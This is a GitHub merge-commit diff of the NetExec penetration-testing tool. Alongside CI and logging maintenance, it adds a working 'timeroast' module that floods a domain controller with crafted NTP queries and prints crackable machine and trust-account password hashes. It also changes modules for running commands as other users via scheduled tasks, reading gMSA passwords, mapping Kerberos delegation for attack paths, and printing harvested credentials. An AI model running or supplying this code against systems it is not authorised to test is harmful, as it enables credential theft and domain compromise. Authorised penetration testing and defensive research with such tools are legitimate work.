Merge branch 'main' into patch-1

This commit is contained in:
mpgn
2024-12-16 22:01:36 +01:00
committed by GitHub
36 changed files with 1339 additions and 915 deletions
@@ -1,11 +1,3 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
+3 -3
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
python-version: ["3.12"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
@@ -25,13 +25,13 @@ jobs:
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+3 -3
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: 3.11
python-version: 3.12
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
+1 -1
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
+2 -1
View File
@@ -229,7 +229,8 @@ class connection:
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
+16 -1
View File
@@ -1,4 +1,5 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
@@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
+3 -18
View File
@@ -3,7 +3,6 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
@@ -43,7 +42,7 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs):
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
@@ -56,9 +55,6 @@ class SmartDebugRichHandler(RichHandler):
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
@@ -93,6 +89,7 @@ class NXCAdapter(logging.LoggerAdapter):
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
@@ -176,7 +173,7 @@ class NXCAdapter(logging.LoggerAdapter):
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -208,17 +205,5 @@ class NXCAdapter(logging.LoggerAdapter):
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
nxc_logger = NXCAdapter()
+1 -1
View File
@@ -373,7 +373,7 @@ class NXCModule:
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchBase=_lookedup_principal,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
+7 -2
View File
@@ -17,7 +17,8 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""No module options"""
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
try:
@@ -37,7 +38,11 @@ class NXCModule:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
context.log.highlight(f"Address: {NetworkAddr}")
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
+1 -1
View File
@@ -17,7 +17,7 @@ class NXCModule:
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.debug(f"Executing command: {command}")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
if not p or "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")
else:
context.log.highlight(p)
+51 -33
View File
@@ -1,6 +1,7 @@
import contextlib
import os
from time import sleep
from datetime import datetime
from datetime import datetime, timedelta
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
@@ -91,6 +92,10 @@ class NXCModule:
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
with contextlib.suppress(Exception):
exec_method.deleteartifact()
else:
self.logger.fail(f"Failed to execute command: {e}")
class TSCH_EXEC:
@@ -143,6 +148,18 @@ class TSCH_EXEC:
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def deleteartifact(self):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
self.logger.display(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
dce.disconnect()
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -151,24 +168,20 @@ class TSCH_EXEC:
def output_callback(self, data):
self.__outputBuffer = data
def get_current_date(self):
# Get current date and time
now = datetime.now()
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>{self.get_current_date()}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
@@ -224,53 +237,58 @@ class TSCH_EXEC:
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8) if self.task is None else self.task
# Give self.task a random string as name if not already specified
self.task = gen_random_string(8) if self.task is None else self.task
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
self.logger.info(f"Creating task \\{self.task}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Schtask_as: Create schedule task got blocked.")
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Create schedule task got blocked.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_ALREADY_EXISTS" in str(e):
self.logger.fail(f"Create schedule task failed: {e}")
else:
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
self.logger.fail(f"Create schedule task failed: {e}")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
self.logger.info(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
if self.__retOutput:
if fileless:
+2 -1
View File
@@ -286,8 +286,9 @@ class SMBSpiderPlus:
# Check file extension filter.
_, file_extension = splitext(file_path)
if file_extension:
file_extension = file_extension.lstrip(".")
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]:
self.logger.info(f'The file "{file_path}" has an excluded extension.')
self.stats["num_files_filtered"] += 1
return
+112
View File
@@ -0,0 +1,112 @@
from binascii import hexlify, unhexlify
from select import select
from time import time
from socket import socket, AF_INET, SOCK_DGRAM
from struct import pack, unpack
def hashcat_format(rid, hashval, salt):
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
class NXCModule:
"""
Module by Disgame: @Disgame
Based on research from SecuraBV (@SecuraBV)
https://github.com/SecuraBV/Timeroast/
Much of this code was copied from the original implementation.
"""
name = "timeroast"
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self):
self.context = None
self.module_options = None
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
def options(self, context, module_options):
self.rids = range(1, 2**31)
self.rate = 180
self.timeout = 24
self.src_port = 0
self.old_hashes = False
self.target = None
if "rids" in module_options:
self.rids = module_options["rids"]
if "rate" in module_options:
self.rate = module_options["rate"]
if "timeout" in module_options:
self.timeout = module_options["timeout"]
if "src_port" in module_options:
self.src_port = module_options["src_port"]
if "old_hashes" in module_options:
self.old_hashes = module_options["old_hashes"]
def on_login(self, context, connection):
if self.target is None:
self.target = connection.host
context.log.display("Starting Timeroasting...")
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
context.log.highlight(hashcat_format(rid, md5hash, salt))
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
Rate is the number of queries per second to send.
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
issues.
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
"""
# Flag in key identifier that indicates whether the old or new password should be used.
keyflag = 2**31 if old_pwd else 0
# Bind UDP socket.
with socket(AF_INET, SOCK_DGRAM) as sock:
try:
sock.bind(("0.0.0.0", src_port))
except PermissionError:
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
query_interval = 1 / rate
last_ok_time = time()
rids_received = set()
rid_iterator = iter(rids)
while time() < last_ok_time + giveup_time:
# Send out query for the next RID, if any.
query_rid = next(rid_iterator, None)
if query_rid is not None:
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
sock.sendto(query, (dc_host, 123))
# Wait for either a response or time to send the next query.
ready, [], [] = select([sock], [], [], query_interval)
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if succesful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
md5hash = reply[-16:]
# Filter out duplicates.
if answer_rid not in rids_received:
rids_received.add(answer_rid)
yield answer_rid, md5hash, salt
last_ok_time = time()
+3 -2
View File
@@ -142,7 +142,7 @@ class NXCModule:
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
# Stripping whitespaces and newlines
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
output_stripped = [line for line in output.replace("\r", "").split("\n") if line.strip()]
# Error handling
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
@@ -154,7 +154,8 @@ class NXCModule:
try:
for account in output_stripped:
user, password = account.split(" ", 1)
password = password.replace("WHITESPACE_ERROR", " ")
password = password.strip().replace("WHITESPACE_ERROR", " ")
user = user.strip()
context.log.highlight(f"{user}:{password}")
if " " in password:
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
+3
View File
@@ -173,6 +173,9 @@ def main():
for module in args.module:
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.show_module_options:
nxc_logger.error("--options requires -M/--module")
exit(1)
elif args.module:
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
+12 -3
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def parse_result_attributes(ldap_response):
parsed_response = []
for entry in ldap_response:
@@ -8,7 +9,15 @@ def parse_result_attributes(ldap_response):
continue
attribute_map = {}
for attribute in entry["attributes"]:
val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components]
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
val_list = []
for val in attribute["vals"].components:
try:
encoding = val.encoding
val_decoded = str(val).encode(encoding).decode("utf-8")
except UnicodeDecodeError:
# If we can't decode the value, we'll just return the bytes
val_decoded = val.__bytes__()
val_list.append(val_decoded)
attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0]
parsed_response.append(attribute_map)
return parsed_response
return parsed_response
+3 -1
View File
@@ -3,7 +3,7 @@ from nxc.logger import nxc_logger
# right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases
protocol_dict = {
"Ftp": {"ports": [21], "services": ["Ftp"]},
"ftp": {"ports": [21], "services": ["ftp"]},
"ssh": {"ports": [22, 2222], "services": ["ssh"]},
"smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]},
"ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]},
@@ -11,6 +11,8 @@ protocol_dict = {
"rdp": {"ports": [3389], "services": ["ms-wbt-server"]},
"winrm": {"ports": [5985, 5986], "services": ["wsman"]},
"vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]},
"wmi": {"ports": [135], "services": ["msrpc"]},
"nfs": {"ports": [2049], "services": ["nfs"]},
}
+1 -3
View File
@@ -24,7 +24,7 @@ class ftp(connection):
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
if self.create_conn_obj() and self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
@@ -38,11 +38,9 @@ class ftp(connection):
self.logger.debug(f"Welcome result: {welcome}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
return True
def print_host_info(self):
self.logger.display(f"Banner: {self.remote_version}")
return True
def create_conn_obj(self):
self.conn = FTP()
+112 -13
View File
@@ -21,12 +21,14 @@ from impacket.dcerpc.v5.samr import (
UF_DONT_REQUIRE_PREAUTH,
UF_TRUSTED_FOR_DELEGATION,
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
UF_SERVER_TRUST_ACCOUNT,
)
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
@@ -253,6 +255,7 @@ class ldap(connection):
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args
self.hostname = self.target
self.remoteName = self.target
self.domain = self.targetDomain
@@ -312,7 +315,6 @@ class ldap(connection):
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
self.logger.extra["protocol"] = "LDAP"
return True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
@@ -494,15 +496,12 @@ class ldap(connection):
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -584,15 +583,12 @@ class ldap(connection):
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -694,7 +690,7 @@ class ldap(connection):
t /= 10000000
return t
def search(self, searchFilter, attributes, sizeLimit=0):
def search(self, searchFilter, attributes, sizeLimit=0) -> list:
try:
if self.ldapConnection:
self.logger.debug(f"Search Filter={searchFilter}")
@@ -702,6 +698,7 @@ class ldap(connection):
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)
return self.ldapConnection.search(
searchBase=self.baseDN,
searchFilter=searchFilter,
attributes=attributes,
sizeLimit=sizeLimit,
@@ -714,8 +711,8 @@ class ldap(connection):
e.getAnswers()
else:
self.logger.fail(e)
return False
return False
return []
return []
def users(self):
"""
@@ -1085,6 +1082,107 @@ class ldap(connection):
vals = vals.replace("SetOf: ", "")
self.logger.highlight(f"{attr:<20} {vals}")
def find_delegation(self):
def printTable(items, header):
colLen = []
# Calculating maximum lenght before parsing CN.
for i, col in enumerate(header):
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
colLen.append(max(rowMaxLen, len(col)))
# Create the format string for each row
outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)])
# Print header
self.logger.highlight(outputFormat.format(*header))
self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen]))
# Print rows
for row in items:
# Get first CN value.
if "CN=" in row[1]:
row[1] = row[1].split(",")[0].split("CN=")[-1]
# Added join for DelegationRightsTo
row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3]
self.logger.highlight(outputFormat.format(*row))
# Building the search filter
search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})"
f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})"
"(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"
f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))")
# f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs
attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory",
"msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"]
resp = self.search(search_filter, attributes)
answers = []
self.logger.debug(f"Total of records returned {len(resp):d}")
resp_parse = parse_result_attributes(resp)
for item in resp_parse:
sAMAccountName = ""
userAccountControl = 0
delegation = ""
objectType = ""
rightsTo = []
protocolTransition = 0
try:
sAMAccountName = item["sAMAccountName"]
userAccountControl = int(item["userAccountControl"])
objectType = item.get("objectCategory")
# Filter out DCs, unconstrained delegation to DCs is not a useful information
if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT:
delegation = "Unconstrained"
rightsTo.append("N/A")
elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = "Constrained w/ Protocol Transition"
protocolTransition = 1
if item.get("msDS-AllowedToDelegateTo") is not None:
if protocolTransition == 0:
delegation = "Constrained"
rightsTo = item.get("msDS-AllowedToDelegateTo")
# Not an elif as an object could both have RBCD and another type of delegation
if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None:
databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity")
rbcdRights = []
rbcdObjType = []
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte))
if len(sd["Dacl"].aces) > 0:
search_filter = "(&(|"
for ace in sd["Dacl"].aces:
search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")"
search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))"
delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"])
delegUserResp_parse = parse_result_attributes(delegUserResp)
for rbcd in delegUserResp_parse:
rbcdRights.append(str(rbcd.get("sAMAccountName")))
rbcdObjType.append(str(rbcd.get("objectCategory")))
for rights, objType in zip(rbcdRights, rbcdObjType):
answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName])
if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]:
answers.append([sAMAccountName, objectType, delegation, rightsTo])
except Exception as e:
self.logger.error(f"Skipping item, cannot process due to error {e}")
if answers:
printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"])
else:
self.logger.fail("No entries found!")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1148,6 +1246,7 @@ class ldap(connection):
try:
self.logger.debug(f"Search Filter={searchFilter}")
resp = self.ldapConnection.search(
searchBase=self.baseDN,
searchFilter=searchFilter,
attributes=[
"sAMAccountName",
@@ -1275,6 +1374,7 @@ class ldap(connection):
self.logger.display("Getting GMSA Passwords")
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=[
"sAMAccountName",
@@ -1282,7 +1382,6 @@ class ldap(connection):
"msDS-GroupMSAMembership",
],
sizeLimit=0,
searchBase=self.baseDN,
)
if gmsa_accounts:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
@@ -1328,10 +1427,10 @@ class ldap(connection):
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN,
)
if gmsa_accounts:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
@@ -1358,10 +1457,10 @@ class ldap(connection):
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN,
)
